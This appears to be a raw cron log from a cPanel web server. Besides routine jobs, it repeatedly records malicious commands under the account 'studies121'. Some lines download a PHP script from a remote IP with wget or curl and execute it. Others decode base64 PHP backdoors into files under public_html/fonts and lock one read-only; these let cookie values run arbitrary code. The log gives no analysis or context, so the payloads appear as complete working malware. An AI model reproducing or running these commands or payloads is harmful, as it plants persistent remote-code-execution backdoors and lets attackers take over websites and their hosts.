Sep 22 14:43:02 ip-184-168-122-23 CROND[25327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:43:02 ip-184-168-122-23 CROND[25329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:44:01 ip-184-168-122-23 CROND[26078]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:44:01 ip-184-168-122-23 CROND[26080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:44:01 ip-184-168-122-23 CROND[26082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:44:01 ip-184-168-122-23 CROND[26084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:44:01 ip-184-168-122-23 CROND[26085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:45:01 ip-184-168-122-23 CROND[26861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:45:01 ip-184-168-122-23 CROND[26865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:45:01 ip-184-168-122-23 CROND[26867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:45:01 ip-184-168-122-23 CROND[26870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:45:01 ip-184-168-122-23 CROND[26869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:45:01 ip-184-168-122-23 CROND[26872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:46:01 ip-184-168-122-23 CROND[27639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:46:01 ip-184-168-122-23 CROND[27644]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 14:46:01 ip-184-168-122-23 CROND[27646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:46:01 ip-184-168-122-23 CROND[27647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:46:02 ip-184-168-122-23 CROND[27648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:46:02 ip-184-168-122-23 CROND[27650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 14:46:02 ip-184-168-122-23 CROND[27652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:47:01 ip-184-168-122-23 CROND[28288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:47:01 ip-184-168-122-23 CROND[28287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:47:01 ip-184-168-122-23 CROND[28290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:47:01 ip-184-168-122-23 CROND[28293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:48:01 ip-184-168-122-23 CROND[28684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:48:01 ip-184-168-122-23 CROND[28686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:48:01 ip-184-168-122-23 CROND[28687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:48:01 ip-184-168-122-23 CROND[28688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:48:01 ip-184-168-122-23 CROND[28689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:49:01 ip-184-168-122-23 CROND[29088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:49:01 ip-184-168-122-23 CROND[29089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:49:01 ip-184-168-122-23 CROND[29092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:49:01 ip-184-168-122-23 CROND[29090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29246]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:50:01 ip-184-168-122-23 CROND[29256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29255]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:50:01 ip-184-168-122-23 CROND[29254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:50:01 ip-184-168-122-23 CROND[29258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:51:01 ip-184-168-122-23 CROND[29451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:51:01 ip-184-168-122-23 CROND[29452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:51:01 ip-184-168-122-23 CROND[29453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:51:01 ip-184-168-122-23 CROND[29454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:52:01 ip-184-168-122-23 CROND[29591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:52:01 ip-184-168-122-23 CROND[29593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:52:01 ip-184-168-122-23 CROND[29594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:52:01 ip-184-168-122-23 CROND[29598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:52:01 ip-184-168-122-23 CROND[29597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:53:01 ip-184-168-122-23 CROND[29854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:53:01 ip-184-168-122-23 CROND[29856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:53:01 ip-184-168-122-23 CROND[29858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:53:01 ip-184-168-122-23 CROND[29857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:54:01 ip-184-168-122-23 CROND[30040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:54:01 ip-184-168-122-23 CROND[30044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 14:54:01 ip-184-168-122-23 CROND[30042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:54:01 ip-184-168-122-23 CROND[30045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:54:01 ip-184-168-122-23 CROND[30043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:55:01 ip-184-168-122-23 CROND[30324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 14:55:01 ip-184-168-122-23 CROND[30327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 14:55:01 ip-184-168-122-23 CROND[30326]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 14:55:01 ip-184-168-122-23 CROND[30329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 14:55:01 ip-184-168-122-23 CROND[30328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 14:55:01 ip-184-168-122-23 CROND[30330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 14:56:01 ip-184-168-122-23 CROND[30596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
